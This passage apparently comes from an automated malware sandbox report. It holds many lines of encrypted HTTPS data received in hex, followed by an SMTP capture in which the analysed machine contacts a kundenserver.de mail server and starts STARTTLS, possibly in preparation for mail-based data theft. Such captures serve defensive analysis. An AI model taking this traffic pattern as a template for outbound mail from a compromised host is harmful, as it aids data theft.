a7 1e 17 5e 53 2f 38 00 59 56 0b 37 89 15 e9 53 8d f5 01 9e 7f 4d 64 e7 86 89 7f d0 30 9f 91 37 d8 c3 Data Ascii: _6K9{;$6BXC'eal#+i5n7ZAem}Q]^4O0YpW5Bm`}u`]LU]dwElJbN_9\9!aMYJ%rm$r@meZ.c5nwf:=_AbG4L0^S/8YV7SMd07
2021-09-29 19:26:41 UTC	198	IN	Data Raw: 87 0d 5b b6 aa 80 f0 22 b7 47 61 79 fb f3 59 1a e7 ff ca 7a e9 9e 01 ef 96 44 eb 7a 41 63 38 b8 93 b7 5e 3f 16 32 89 5b d7 01 b9 74 dc 19 f7 7a a1 6b 44 e7 8f 13 11 f3 55 70 4c 1f 8b 70 c5 a1 b5 23 36 f5 49 74 0f f7 33 8e de 66 56 0d c5 86 59 3f 1b 7a aa 4b 21 2d a4 fc a2 e5 75 1f 00 e0 c8 fb cb b6 91 ac 0c 63 23 3c ee 25 47 47 4a 36 0c fd c9 90 39 d1 5c 25 27 65 a8 a5 c4 48 e1 4d 0f bb c3 f2 9d 27 eb 3b 98 62 23 c3 a7 b6 53 56 0f 11 c4 16 07 53 42 d4 38 1d d8 49 03 07 7e ae 0e 4d c6 12 ff 52 6e 56 ec 77 8a 7a 32 62 a4 3b de 0d 09 0f 7a 38 78 fd f8 d7 17 86 6a a2 b6 e3 cc 60 57 32 87 a5 32 c3 84 23 67 78 ce 5e 2d 0d 67 1a 1c 3d f8 4c b0 51 fa 9b 2b ff ca e6 05 7b a7 08 6c 09 3b cb ba cf db c3 d8 86 b6 36 f7 59 47 a5 d0 62 d9 f1 5a f4 7d 72 43 a8 37 cb cf Data Ascii: ["GayYzDzAc8^?2[tzkDUpLp#6It3fVY?zK!-uc#<%GGJ69\%'eHM';b#SVSB8I~MRnVwz2b;z8xj`W22#gx^-g=LQ+{l;6YGbZ}rC7
2021-09-29 19:26:41 UTC	199	IN	Data Raw: 50 23 6b f3 f3 cf ba e6 f9 e9 b3 17 6d fa 64 68 7f e7 f3 d1 21 c1 d8 3c 49 5c 65 da 0c c7 1c 4b 31 d6 a2 3e 03 59 5f 4c 7f 26 55 5c 2e 02 8e 1e ee 52 f8 d3 01 fd 52 41 7e f2 8c 9f 7f c9 3c ed a2 18 c8 e7 53 3a 42 98 5d 3b 15 2d 12 71 99 33 33 31 1a 07 14 46 23 50 da e2 36 5c 9d 7e fd 7a dd e3 ad 50 1f d3 92 ce 48 02 24 5a 05 df 22 d9 9f e3 df 27 09 84 ff 75 30 96 46 94 47 6e 3c 28 ae 49 5a 84 eb e9 d2 2f 62 a8 2d ec 9a 6a 20 90 0b c4 13 c0 6a 7e 55 80 e1 73 53 f2 7c 83 01 61 4f aa bb 68 a7 b8 de 6a 6e bc 15 a5 34 8e e2 57 70 29 56 87 6c e8 7b ed 08 6e fd 93 2e d5 93 00 75 62 9e bc 55 33 93 d0 05 bd 55 4b 15 37 21 3d 27 b6 de 71 61 c6 17 d4 c7 8d 5f 0a 54 1d 43 5d b5 f7 02 86 17 87 a5 3b 28 ae b0 02 d6 b3 bc 21 30 0e 94 42 44 23 08 f6 71 f3 e2 f5 69 3b 56 Data Ascii: P#kmdh!<I\eK1>Y_L&U\.RRA~<S:B];-q331F#P6\~zPH$Z"'u0FGn<(IZ/b-j j~UsS\|aOhjn4Wp)Vl{n.ubU3UK7!='qa_TC];(!0BD#qi;V
2021-09-29 19:26:41 UTC	200	IN	Data Raw: 9f 4d be cf c8 cc 14 76 22 9f 96 2c c3 9d 2e 67 4c ce 5e 26 26 6b 07 29 5c eb 41 c4 49 d9 86 01 f5 e8 e3 0d 6c f7 1a 7d 15 64 ea b6 d7 e1 da d0 8f a7 5e b0 5b 56 83 ee 40 d8 f0 50 c6 7c 1e 75 83 22 ea cf 75 0e c6 42 b1 30 68 fc 81 5e 3e 5e fd 72 02 3f 19 15 00 d3 b5 f0 a4 86 6d e4 67 93 c1 fb de d2 43 33 f7 a0 96 1f 91 3f a5 1f 75 69 0f ad 03 14 3b 48 a1 26 7a 7d 79 ec 50 ae af 3f da 66 0a 5d 6f e3 17 dd 17 8a b2 31 c5 b0 b3 a7 3e 85 57 44 ba 24 12 92 55 58 e7 61 fb 2e a1 b0 23 1d 29 5c e5 9e 73 5c 10 c8 3f e4 80 88 86 f0 20 c6 5c 66 95 80 6d a9 70 c9 a0 60 df 35 64 2c b8 17 a8 20 52 49 bc ef 2d 41 ae 67 32 ba 25 b6 ec f0 13 6e e3 1f b5 df 75 66 43 6c 22 d7 be 3e 95 17 f6 68 a5 8a 14 3f d0 42 82 ab f3 8e ca 59 e3 7a b3 c3 b5 a8 e0 3e f8 c5 9d a1 16 eb f2 Data Ascii: Mv",.gL^&&k)\AIl}d^[V@P\|u"uB0h^>^r?mgC3?ui;H&z}yP?f]o1>WD$UXa.#)\s\? \fmp`5d, RI-Ag2%nufCl">h?BYz>
2021-09-29 19:26:41 UTC	201	IN	Data Raw: 92 2f e6 a3 3d 71 7d af 92 4a 22 8f b9 14 ad 55 71 40 00 21 29 12 ac d9 60 59 a7 37 c8 d1 b8 4e 10 26 12 4f 28 92 eb 71 b6 17 88 fe 1f 20 a6 b2 25 d1 b2 b6 30 13 20 84 53 5a 64 2e e6 76 ff 85 d6 10 31 4d 6c 19 58 ab 2d c6 d8 71 91 7b d3 e0 21 0f d5 75 6e 89 48 c9 f5 40 bf 4a e2 0f 6c 8d 33 33 bc c5 af b3 71 7b c9 46 69 92 34 e5 a4 72 ac 75 4d ed 93 7f ce dc 14 89 86 c8 2d 47 bf b7 87 9d 0d 8c 57 7f 1c d4 f7 43 21 c4 c9 9c 4d fe 81 0d e1 8b 21 c4 7e 5b 58 02 b8 e1 87 45 35 19 46 9f 76 c2 30 8b 7d cb 6a d9 70 bb 3f 6f e3 86 12 06 e8 6e 5d 5f 02 86 73 ce a1 ba 27 2c ce 53 74 7d d6 3f 82 c4 07 4b 0f dd bc 2f 1e 06 7e ad 48 20 4c 83 d5 a5 ff 75 6d 37 ec cb f0 bf 80 ae b6 14 63 4e 75 c2 1e 36 77 40 38 09 fd c5 97 33 e8 41 24 41 6b a1 b4 9b 7a f4 49 3c a1 c5 f0 Data Ascii: /=q}J"Uq@!)`Y7N&O(q %0 SZd.v1MlX-q{!unH@Jl33q{Fi4ruM-GWC!M!~[XE5Fv0}jp?on]_s',St}?K/~H Lum7cNu6w@83A$AkzI<
2021-09-29 19:26:41 UTC	203	IN	Data Raw: 6c ad 38 6c 40 b4 04 c9 32 52 26 b5 cf 43 77 b5 15 15 b0 04 ab ff f5 14 73 d7 05 b5 b0 4e 5d 44 0a 0f bd fd 12 92 67 c7 76 c0 bd 37 51 f0 47 82 a2 ec e3 e0 56 91 5d b6 b1 ba a3 94 14 fc a3 96 cb 71 eb ec e4 4a 41 e3 37 5b 60 0c 9c a6 4e ed d1 9f 7a e9 4a 88 6c 93 c3 28 55 49 a5 2b ae 3a 84 d4 68 88 4f bf dc b3 87 55 14 65 b7 ad 09 96 79 4a 4d ab 6e ce 40 88 72 32 cd 5b 24 60 b2 ee d5 ae e0 9b fb a8 72 0a dc 7f 5a 4c c6 f0 db 53 f5 d8 26 73 6d 4c c1 06 a3 07 5a 37 cb cb 1e 06 2d 79 3c 38 17 4c 38 2a 06 fa 2a f7 30 ca d7 64 b5 6a 24 50 eb b3 97 67 ce 53 fd b6 59 df e3 21 37 50 ed 7a 32 70 0f 07 1f 9a 31 52 22 0f 63 10 5b 28 40 eb 96 00 5f f4 5f f9 0e fc 92 e8 71 07 a7 bb cd 0a 37 3a 2d 3e cf 40 d4 8b a2 c9 22 7b 8e ec 00 20 82 46 b2 59 03 0c 30 dd 47 49 e8 Data Ascii: l8l@2R&CwsN]Dgv7QGV]qJA7[`NzJl(UI+:hOUeyJMn@r2[$`rZLS&smLZ7-y<8L8**0dj$PgSY!7Pz2p1R"c[(@__q7:->@"{ FY0GI
2021-09-29 19:26:41 UTC	204	IN	Data Raw: a9 1d 10 fe 50 63 0f e7 25 ed e9 74 38 2e da e3 1c 08 74 4b b7 27 09 3f c0 f2 b8 89 71 6c 44 e7 d7 9e f8 a1 b6 b5 08 6f 40 28 8b 02 61 47 5b 30 14 a1 e4 8d 21 e6 40 25 32 78 ad a3 b7 3b e3 5c 24 97 e4 fe 9d 3b e6 3c e1 7f 38 cf b3 b0 4c 5c 69 26 85 2e 1d 4f 5b d0 54 38 dc 4e 35 29 31 83 05 76 c0 15 ef 4d 0b 31 d9 71 ba 4e 32 73 84 13 c3 1f 15 00 7a 4b 35 c3 f6 f6 0a 91 4a b9 a9 fb 87 36 59 24 86 9b 10 e0 88 35 0e 68 85 6b 02 33 6a 1e 1a 5c eb 40 ab 60 ef 97 35 ec ed e4 0d 6d a7 28 70 0e 10 e8 be 8d ec f8 d7 9f ba 5b d5 12 7a 99 c5 69 cf f1 47 e1 71 6c 50 8f 35 c3 d9 1b 24 db 49 c3 38 7e e7 b8 69 7f 66 e0 64 19 2a 39 32 0f c7 a8 fb 8a b6 67 fd 48 b9 c2 f0 d8 e4 48 35 cd ac 9b 1d 96 57 f6 21 63 69 3d a9 43 22 21 51 81 2a 6f 6c 1b ca 51 a4 ab 3e b6 46 16 6a Data Ascii: Pc%t8.tK'?qlDo@(aG[0!@%2x;\$;<8L\i&.O[T8N5)1vM1qN2szK5J6Y$5hk3j\@`5m(p[ziGqlP5$I8~ifd92gHH5W!ci=C"!QolQ>Fj
2021-09-29 19:26:41 UTC	205	IN	Data Raw: a3 2d e3 d2 45 37 52 88 5a 2d 15 27 16 76 90 00 36 21 0d 06 24 5a 47 52 fe e2 1d 67 90 72 c9 6a dc 91 8d 47 05 a7 8e d9 7e 2f 02 49 18 ff 24 d1 88 c7 d8 20 7b 8a f8 74 1b 9c 24 bd 4d 60 1e 32 dd 53 5d 9c d1 c7 c4 31 75 a2 3b ea ee 5c 59 a5 16 cd 1b af 50 6f 53 c7 d0 69 44 fc 19 a4 06 00 46 ab ae 45 b0 9c d6 60 7a a4 05 96 25 aa e2 5b 61 39 56 91 6c d3 77 fd 32 50 fb 90 35 d8 82 3b 66 6a ab 8f 44 34 84 cd 14 c8 46 4b 61 2c 30 3e 2b b3 de 64 43 c2 2b d3 c7 bf 4e 0a 55 74 52 4d b5 cd 76 a7 1f 95 bc 3d 3b ae 92 38 da a4 bd 30 2d 4f b6 57 43 26 1e c6 6b e3 8f dd 62 1d 50 67 4f 7a b6 20 dc cc 14 b5 72 ce cf 02 14 c0 66 69 a2 4d cd f2 5a cc 0b e1 1a 5c bd 1f 20 b2 de c2 b1 7a 7b e5 05 7b 85 32 df 8f 7e 81 69 54 ff fa 70 bc fd 10 95 9e 87 38 4b ac 81 a2 f8 3e 90 Data Ascii: -E7RZ-'v6!$ZGRgrjG~/I$ {t$M`2S]1u;\YPoSiDFE`z%[a9Vlw2P5;fjD4FKa,0>+dC+NUtRMv=;80-OWC&kbPgOz rfiMZ\ z{{2~iTp8K>
2021-09-29 19:26:41 UTC	207	IN	Data Raw: 82 33 c8 de 72 08 de 59 f3 2e 45 e7 ad 69 51 57 ec 63 33 23 3a 03 1a b4 b2 fd d0 aa 60 ff 4b a4 ae e6 cf c3 72 13 d2 a8 9d 17 90 23 a5 1f 75 69 13 a1 14 12 3b 5e 87 27 4e 68 4c e6 4b bd db 30 bf 57 3b 6a 68 d5 10 cd 1e f8 85 0a d1 b6 b7 a1 1d ec 50 49 ce 1c 25 83 6e 7c fa 6a ec 32 f2 86 2b 73 0e 54 97 be 55 29 21 d1 4a d6 e9 c5 ae ef 45 c0 50 1e 80 e9 3e b2 6a bd a6 64 f1 05 68 54 a9 7e fa 23 5a 2d 9a ea 41 45 bf 6d 12 d5 37 b2 ee fc 13 6d f7 1d b0 8b 45 6c 5e 6c 37 cf d7 09 9a 56 de 6e f1 aa 06 4b 96 4f e7 98 c6 c7 ec 5d 86 69 8d a6 af b6 e0 1a f7 b1 ad ae 6e fa 98 fc 7c 41 d5 2c 41 4d 0d 8d 9d 2b c5 d7 f0 4a f8 4b 9e 5e 8a cb 34 46 43 a4 23 b5 5f bb c5 1c b7 5a be cd 9b 84 4c 0f 76 bd ac 01 8d 1c 76 50 d9 68 c2 5a 93 65 33 f0 35 00 7a b2 c4 ce c8 cb ee Data Ascii: 3rY.EiQWc3#:`Kr#ui;^'NhLK0W;jhPI%n\|j2+sTU)!JEP>jdhT~#Z-AEm7mEl^l7VnKO]in\|A,AM+JK^4FC#_ZLvvPhZe35z
2021-09-29 19:26:41 UTC	208	IN	Data Raw: d9 6a 7c 46 78 19 78 b9 4c cc c5 14 b7 6d ba f6 39 60 d3 7d 0a f6 70 da f5 58 de 7f f7 36 45 92 32 37 b8 ce c1 a0 75 7b ff 6a 72 a4 23 f4 ab 6f 84 69 1e f7 cc 28 88 bb 43 d4 db b1 72 6d ef eb d8 b0 73 a5 0b 24 31 f2 d7 0f 3a a6 d8 f2 69 bf c5 25 cb d0 17 95 2e 1c 7a 54 dd 93 99 ae e4 e2 e6 33 15 f5 e8 34 e7 ba 59 1a 01 c4 3f 35 20 90 09 35 85 0c d8 a4 79 5f 23 ff de cc 97 52 ab 26 31 0f a4 53 cd ab 06 29 67 a1 e2 59 7a 74 0d c4 27 4e 49 e0 b8 ca 87 1e 08 45 85 ae d3 c6 87 b2 a8 10 6a 42 2f ee 56 20 1a 1f 7b 49 a1 90 e4 40 85 2f 4a 41 0c c3 c6 d1 29 9c 38 42 c4 a1 97 fd 47 9a 4e f3 3a 56 aa d4 cd 27 32 1d 73 ac 7e 61 2e 36 b0 2a 6e bb 28 4e 52 1e d5 6c 06 bc 64 92 3f 19 5e ba 10 f7 01 56 03 f6 70 a4 7b 64 62 0d 2c 36 8e 9f 94 7d f9 3b c4 c3 87 ad 40 30 44 Data Ascii: j\|FxxLm9`}pX6E27u{jr#oi(Crms$1:i%.zT34Y?5 5y_#R&1S)gYzt'NIEjB/V {I@/JA)8BGN:V'2s~a.6*n(NRld?^Vp{db,6};@0D
2021-09-29 19:26:41 UTC	209	IN	Data Raw: cb 17 80 85 be 1c 15 83 44 32 2c 67 da cb 40 b3 ad f5 19 8c 28 7a 06 e3 82 5b 2f 0e ce 4d c0 34 de bf 1b c4 2a c2 a6 f4 e7 2b 23 16 e8 d1 ee c4 6b 8f 11 cb 8a ec 26 66 45 59 05 7c 50 8e 97 95 3a 85 9e 1a cd d5 1b 7c 38 5e 14 8e db 8e 35 06 97 3c 07 3d af 51 bf e8 f6 4c be 10 b5 4a 09 67 ac 6f 5d b9 0a 2d b9 36 67 7b 55 9a 3e 88 87 64 ef 9b 79 17 a2 c7 eb 87 eb 56 bf c4 58 b4 9b 25 55 32 6c 68 5b 15 6a 65 9e d1 46 72 47 7e 71 d6 68 4d 33 bb 96 5f 3c 75 59 80 0e b9 f1 69 09 64 26 9c b0 2a 73 4a 3c f7 e7 51 34 a3 b3 2a 02 77 cd 9e 01 56 73 93 c5 a9 26 78 c0 94 24 18 e9 8f a2 a1 5b 12 c0 53 8b 6f 6a 23 d6 62 a0 7c 86 1b 04 29 e7 92 87 1e 8a 72 d4 75 01 20 d2 df 1a c3 e7 30 7b 1e f0 71 f9 45 f4 9a 39 17 52 2c f3 ed 99 0f 87 65 26 b2 f7 49 38 f7 4b 14 0d e7 e1 Data Ascii: D2,g@(z[/M4+#k&fEY\|P:\|8^5<=QLJgo]-6g{U>dyVX%U2lh[jeFrG~qhM3_<uYid&sJ<Q4*wVs&x$[Soj#b\|)ru 0{qE9R,e&I8K
2021-09-29 19:26:41 UTC	210	IN	Data Raw: f5 fa 6d c3 0c db 42 b8 de 43 8c 6c db 7e aa 48 35 54 d5 80 0d 10 c8 94 fb db 7f e2 9e 8c 6c 88 13 70 cf df 28 01 3b ed c5 bc ac fc bf 12 92 02 b8 dc 7e 1d 91 24 80 fe 18 0b 90 b2 5a 09 58 7e c5 43 21 4f 13 78 eb 4a d3 9c 19 72 04 30 90 c4 1a 3b 0b eb 48 77 bb 83 f1 18 9e b8 36 36 c7 a0 5b 33 81 76 5f 40 87 ca 91 1e c5 3c 4c 7d e8 68 ec 64 31 fe d1 ee 28 7c 2e 24 cb 8a 78 3c f2 12 ca 5d 34 50 8e 77 8f 9b cb 8e 89 1c 12 7c 63 bf 2b 04 0e 9c 1e 75 5a 86 b9 50 22 20 16 2f 5c ab 5c 3d 42 a4 c8 54 7e 3d 34 44 39 71 3a 38 6c 7e f4 62 8d 31 9b a0 63 fe 14 35 93 bb cf ff 26 bc 5d 97 ce 5c bc 91 2f 5d 28 e7 2e 5b 17 78 12 17 e1 53 37 4d 5a 64 46 27 49 3b 86 93 50 ae 39 12 9a 3e aa 63 18 3a 6a b5 7d 69 18 f0 9a 3f f6 6b 52 35 23 b0 c2 42 fa d4 80 0e 40 f3 47 d9 20 Data Ascii: mBCl~H5Tlp(;~$ZX~C!OxJr0;Hw66[3v_@<L}hd1(\|.$x<]4Pw\|c+uZP" /\\=BT~=4D9q:8l~b1c5&]\/](.[xS7MZdF'I;P9>c:j}i?kR5#B@G
2021-09-29 19:26:41 UTC	211	IN	Data Raw: 28 25 61 f7 13 a0 a9 d5 5a 48 80 a4 38 17 bd 4e f5 a2 17 20 64 a9 e4 51 63 64 1c 45 0e 56 54 d8 b2 db 91 18 1f 40 8c b4 86 b1 dd de c0 60 04 2a 43 82 5a 18 32 26 4d 77 92 a5 ec 50 89 27 43 41 09 cd d8 ca 26 81 31 58 c6 a6 98 e1 4d 9a 41 f1 2a 49 a4 dc da 37 3a 0b 52 aa 71 6c 28 2e bb 31 62 a0 38 54 5a 0e 46 54 1d ac 7e 97 3b 03 46 b4 0c f1 19 5d 18 cf 6b b4 61 6c 72 9e 0c 28 8b 97 88 7d f6 29 de c7 89 ae 62 21 d7 13 f2 79 82 e9 57 e5 52 a3 2a 73 52 86 97 6b bf ca 2f c3 0a be f0 4f 92 8d 87 6c 1c ba 7e 01 75 74 85 d9 a4 bd 8f ac f9 52 af b1 32 3b fe b6 0f ac 1e e3 a0 96 43 2e ee 56 a4 a8 15 79 a0 a8 ec 52 2d 88 cf 9f 30 36 89 16 7d cb 81 7e 68 b4 c0 99 b6 74 e9 94 18 d1 af 89 ac 97 2c 46 a9 44 19 7e e5 56 a4 4a 92 78 48 c3 6a 61 d4 df e4 c3 d6 14 30 81 22 Data Ascii: (%aZH8N dQcdEVT@`CZ2&MwP'CA&1XMAI7:Rql(.1b8TZFT~;F]kalr(})b!yWR*sRk/Ol~utR2;C.VyR-06}~ht,FD~VJxHja0"
2021-09-29 19:26:41 UTC	212	IN	Data Raw: 82 cf fd 05 a3 56 82 c3 44 b9 9f 26 51 35 ff a8 c7 14 78 f6 5f ee 28 58 45 7f 76 45 a8 de 34 89 17 02 38 f3 18 9d 1c 39 7a e9 26 f7 e7 e8 ae 8b e9 4a 3f f7 fe 52 dc e8 cb f1 54 56 f8 8f 81 dd f2 54 56 68 16 78 c0 44 21 2a 69 ce b0 ba 47 0c dd 5d ac e6 17 35 c4 e0 a1 74 90 9f 23 29 e1 9b 17 a6 be 60 c8 7d 18 2f c6 c6 06 df fb ad 16 03 c2 f2 05 58 e8 12 df 0a 44 30 60 8d b2 93 c9 7c a2 bb e5 d9 58 f8 40 06 8d 1a ef 48 55 88 a8 e6 e1 29 26 0d 76 44 5b 54 41 57 00 17 a7 69 23 4b c5 3e 6c a4 7d 23 39 40 bb 0c c4 52 e4 c2 de ae c5 c6 6a be cb c4 4b 59 44 f8 2a 2a 58 e8 62 19 8a fa a4 08 74 2c 06 19 1a cd 54 ac bf 15 d4 0f be b0 42 61 ac 03 0a cb 25 b0 98 2e be 17 8a 70 2f e7 4b 40 54 32 ae c6 95 4f 98 0b 12 f2 2f 8c ca 04 fd 08 a1 15 fb 03 4f cf 7f e2 ff 80 58 Data Ascii: VD&Q5x_(XEvE489z&J?RTVTVhxD!iG]5t#)`}/XD0`\|X@HU)&vD[TAWi#K>l}#9@RjKYD*Xbt,TBa%.p/K@T2O/OX
2021-09-29 19:26:41 UTC	214	IN	Data Raw: 9d 9c 2b bc 08 3e 21 ea 43 b4 2b 82 68 a0 ab f1 42 1f 09 47 1c 43 b1 c9 19 62 45 5b 7e 60 ba d3 19 e4 e7 61 82 51 da a9 92 a4 b9 2e 55 d2 cd f6 70 e1 77 a4 5b 18 19 58 c5 65 73 7f 38 e6 56 10 88 ac 88 2c 48 9b 42 c8 a2 fd 38 0e 35 3e a7 62 84 ef 4b aa cc d5 55 29 f1 2d 31 b4 4d 79 ee 17 1b 95 0c 87 5b af fa 65 1a 72 20 f7 5b 83 5d 47 20 7f ac e7 9d d3 18 b9 8f 27 e7 b4 e7 63 c5 17 d4 cd 01 d1 4c 03 31 d3 76 a0 4e 33 5b 5a c6 3f 78 d2 1d 7b d6 7e ca 9a b9 7c 01 b8 44 db c4 35 06 ab f5 61 af 3f 3d ea 05 33 9b a4 dd ff 7f 98 3a ef f1 9a 93 8c 3d fe 18 c4 c0 df cc e8 53 8f cb eb 4a 56 80 90 b3 1a 36 90 2c 27 34 6c f2 c7 46 b5 a7 d0 19 91 3a fd 3f e4 be 54 2f 1c cc 4d c3 32 d1 33 19 cc 31 cb a4 ef fb a4 f8 10 ec 42 2f ec 6b 8f bd d8 19 2c 74 ef 0e 45 8a 3b 4c Data Ascii: +>!C+hBGCbE[~`aQ.Upw[Xes8V,HB85>bKU)-1My[er []G 'cL1vN3[Z?x{~\|D5a?=3:=SJV6,'4lF:?T/M231B/k,tE;L
2021-09-29 19:26:41 UTC	215	IN	Data Raw: 5f 42 6f 83 05 84 61 ed 16 5c 25 03 0b 98 9a 48 a2 be 06 be 1d bd 96 4d 68 a8 1a 0f d8 49 a0 98 24 be 19 fa 78 28 e0 50 5c c7 2b 0f cc 13 06 98 0b 0e 62 67 92 49 0f fa 9b 15 9e 78 24 dc 0c 2c fe 6d 5e 4d 47 dd fe e8 80 42 eb 32 31 1f b2 80 b7 ab 99 18 ff 39 0f 93 70 89 e1 34 b1 9a b6 06 46 5c d3 fa 39 48 f6 df ed 01 37 2f d5 32 be 09 a5 0d 54 a6 3c 85 6b 15 6d 89 2a b9 b4 70 fd 9d e0 bc d8 50 d8 31 38 14 1d cc 58 e3 a2 09 2a eb e9 f1 d8 6b 7a 10 c1 2f 64 4b d0 af d9 08 89 1e 56 04 e4 90 a2 d6 c2 d7 e1 9f 22 49 0a 11 0a b4 8f 48 7c 9d c9 ea 4e 89 20 58 c0 4c d6 41 d4 35 99 3c 58 c1 a1 95 f5 50 9f 4a fc 37 59 ab c1 de 22 36 1d d2 7e 4b 73 2e 20 a4 2a fb 24 3c 4e cb 5f d2 72 81 30 77 98 bf 4b 44 3c 94 f7 99 c6 1f c5 f6 20 75 72 6d 0d b9 75 86 82 87 f8 6f 31 Data Ascii: _Boa\%HMhI$x(P\+bgIx$,m^MGB219p4F\9H7/2T<kmpP18Xkz/dKV"IH\|N XLA5<XPJ7Y"6~Ks. *$<N_r0wKD< urmuo1
2021-09-29 19:26:41 UTC	216	IN	Data Raw: d3 e2 e1 55 8a cc fe cd 0b 8b 9a b9 01 2d 8b 43 0f 2a 7a f4 c7 40 b3 a4 f8 1b 94 24 fe 27 ef bf 5f 28 1d d6 48 c9 1a c0 a9 04 d9 2b dc b0 f0 ee 23 63 13 e3 c6 67 f0 64 0b 22 f9 09 b0 31 ff 0e 5e 83 3e 5f 0a ba 8f a6 cd 92 9e 81 c2 7a 70 a4 0e 0d 12 93 9a bc 54 a6 bc 4f 29 33 19 ab 6f 83 5c 2d c7 f9 c5 58 70 3f ba a9 3c 55 2e b8 af 72 fc 7e 06 41 89 a1 76 7c fb 21 14 9f d5 7a ce b8 54 9d d4 d9 59 9b 24 73 20 ff a9 bb 13 6d 75 0d 7d 30 5a 4d 5f 62 45 a8 36 27 1a e7 44 0e f5 1e 9a 8f c9 e5 ef 36 64 27 3d b4 0f 50 4b 3f f6 7e 46 95 fb a3 b9 d3 bb eb 9a 01 59 e1 c6 1f 2e 23 69 40 d3 28 30 e0 ae ad a7 55 18 cf 41 91 ea 09 32 54 3f af 56 83 1f 18 a5 b4 8b 00 07 96 7d c2 f6 a9 24 ee da 08 40 5c b8 2e 19 c2 f2 79 52 78 31 22 1a 7c 20 e3 71 b2 92 41 65 26 95 f6 49 Data Ascii: U-C*z@$'_(H+#cgd"1^>_zpTO)3o\-Xp?<U.r~Av\|!zTY$s mu}0ZM_bE6'D6d'=PK?~FY.#i@(0UA2T?V}$@\.yRx1"\| qAe&I
2021-09-29 19:26:41 UTC	217	IN	Data Raw: 2c c2 c1 cc 33 8c 31 58 c0 a0 b1 e9 44 03 76 e8 35 71 ae c0 cd bd 36 07 55 8b 79 69 39 3c 31 d4 71 ba 34 55 43 17 ce 69 09 a0 7e 82 38 0b 57 ad 84 dc 13 5e 31 d4 77 ac 6c 74 71 9f d4 3d 89 9a 9b 76 f6 24 d5 c7 8a 89 62 3e 54 f0 f4 7b a8 eb 54 e4 d6 a2 20 78 5f 01 7d 73 37 9c 09 c4 07 bf d2 47 9d 80 81 79 9e 4f 79 09 7d 66 85 d3 23 0c e5 b9 9f d3 42 b0 4c 33 84 b1 36 bd b1 37 9d 14 69 26 91 56 d1 aa 35 69 c6 2a d9 57 68 88 b1 1d 3f 30 e0 17 03 4b 3b 70 1c b4 ae 98 d1 f5 7c 90 5d d0 dc 95 84 b7 4e 47 d4 c5 95 78 ca 57 c1 58 79 1d 2b c4 19 70 7a 3f 81 43 6d 09 47 89 4e c9 a9 57 b5 23 0e 39 79 b4 1d a9 0b 8a cf 45 cb c2 b5 d4 0e ec 0c 2c ce 43 18 e6 78 15 ea 0f fd 46 ce f2 3d 1d 19 35 80 da 68 5c 7a a1 06 a2 c7 88 f4 99 0e 8e 06 66 db e9 19 cb 76 c9 b1 09 f2 Data Ascii: ,31XDv5q6Uyi9<1q4UCi~8W^1wltq=v$b>T{T x_}s7GyOy}f#BL367i&V5i*Wh?0K;p\|]NGxWXy+pz?CmGNW#9yE,CxF=5h\zfv
2021-09-29 19:26:41 UTC	219	IN	Data Raw: 72 46 c5 a9 32 64 53 5f 99 30 e6 80 ba 27 53 0d c4 52 9c fc 8e 60 cb 67 ba f7 89 03 0f 2f f4 8d 0e 2f 91 5c d1 67 82 94 c6 d7 1a c1 e0 a3 8f 82 d1 62 65 00 e7 9e 30 2b 5b 3a f7 7e 21 8b 88 7f a2 d2 e2 49 38 6f 4f 06 8e bb f3 2f 49 ef b7 75 49 21 3c 95 d3 56 32 4e cd bc 17 b6 af 66 a4 bf c9 39 ff 66 69 24 3a 40 9a 1f c7 60 8c d8 41 41 c3 d3 4d b6 cb d6 59 5b 52 e5 2a 24 23 77 9f 18 8a ff ba 18 7c 27 0c 17 06 c6 51 ad b1 13 d5 19 a7 95 5f 72 dd 1a 16 d7 3c b5 9e 27 bf 08 9c 62 2d ff 5b 4f d0 a4 a8 d3 09 0a 8b 00 00 f2 2f 9d d6 1b f4 07 22 86 fa 12 d3 8a 6c e9 f0 82 42 2b dc d8 f8 1c 5b e7 c1 ee e3 4c 96 3e 7e 8b 9a ce 22 8c f2 64 8a ee 21 a3 1b 2b 0b 54 dd 93 f0 2a 4b f6 66 e8 77 b6 6f dd 1c a9 3e b0 1f d0 38 3e 95 e8 57 6b 9c 3c 39 30 74 e7 04 a8 a8 fd 41 Data Ascii: rF2dS_0'SR`g//\gbe0+[:~!I8oO/IuI!<V2Nf9fi$:@`AAMY[R$#w\|'Q_r<'b-[O/"lB+[L>~"d!+TKfwo>8>Wk<90tA
2021-09-29 19:26:41 UTC	220	IN	Data Raw: 59 35 e5 3e a7 db 07 da 71 64 6c 1c d6 7e cd 7f d0 e1 6b a4 a7 c7 ac 69 89 23 2c ba 77 77 ee 0a 14 88 5f 8f 34 a1 9d 4a 79 6a 40 e5 b9 1a 28 55 f7 3f c7 e9 fa c1 ea 20 e7 35 09 f4 87 6d cb 19 f9 c3 27 df 61 0d 02 dd 4e a8 68 3b 79 db 86 2d 29 da 1d 66 d4 76 83 9e ea 7d 7a b6 14 dc b2 20 76 2a 00 60 c4 be 5d ff 41 b2 67 a5 bd 7e 4c 96 41 82 83 99 e0 82 33 e3 2b d9 ed d7 f2 e0 73 92 f5 f9 e5 16 be 98 bb 19 35 82 45 2f 29 62 fa c9 4e bd a3 f0 19 8c 39 fb 3f e7 a2 5a 21 00 cb 4d c1 3a c3 b1 1c c4 2e cc a8 fa e9 25 61 11 fe c3 6f f9 79 0e 24 d9 0b ad 34 e7 00 4b 84 35 42 0f b2 87 bb c8 8f 9b 9c c7 72 6d b9 0b 05 0f 8e 9f b4 53 86 bd 52 2c 2e 04 ae 69 a3 5d 3f 45 a4 cb 5c 76 2d 3a 4c 38 53 3c 38 6f 76 fa 6c 87 30 8d a7 64 fd 1a 24 12 82 c7 fa 06 be 53 9f c6 59 Data Ascii: Y5>qdl~ki#,ww_4Jyj@(U? 5m'aNh;y-)fv}z v*`]Ag~LA3+s5E/)bN9?Z!M:.%aoy$4K5BrmSR,.i]?E\v-:L8S<8ovl0d$SY

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Sep 29, 2021 21:28:13.371885061 CEST	25	49843	212.227.15.158	192.168.11.20	220 kundenserver.de (mreue106) Nemesis ESMTP Service ready
Sep 29, 2021 21:28:13.372195959 CEST	49843	25	192.168.11.20	212.227.15.158	EHLO 549163
Sep 29, 2021 21:28:13.385763884 CEST	25	49843	212.227.15.158	192.168.11.20	250-kundenserver.de Hello 549163 [84.17.52.7] 250-8BITMIME 250-AUTH LOGIN PLAIN 250-SIZE 140000000 250 STARTTLS
Sep 29, 2021 21:28:13.386040926 CEST	49843	25	192.168.11.20	212.227.15.158	STARTTLS
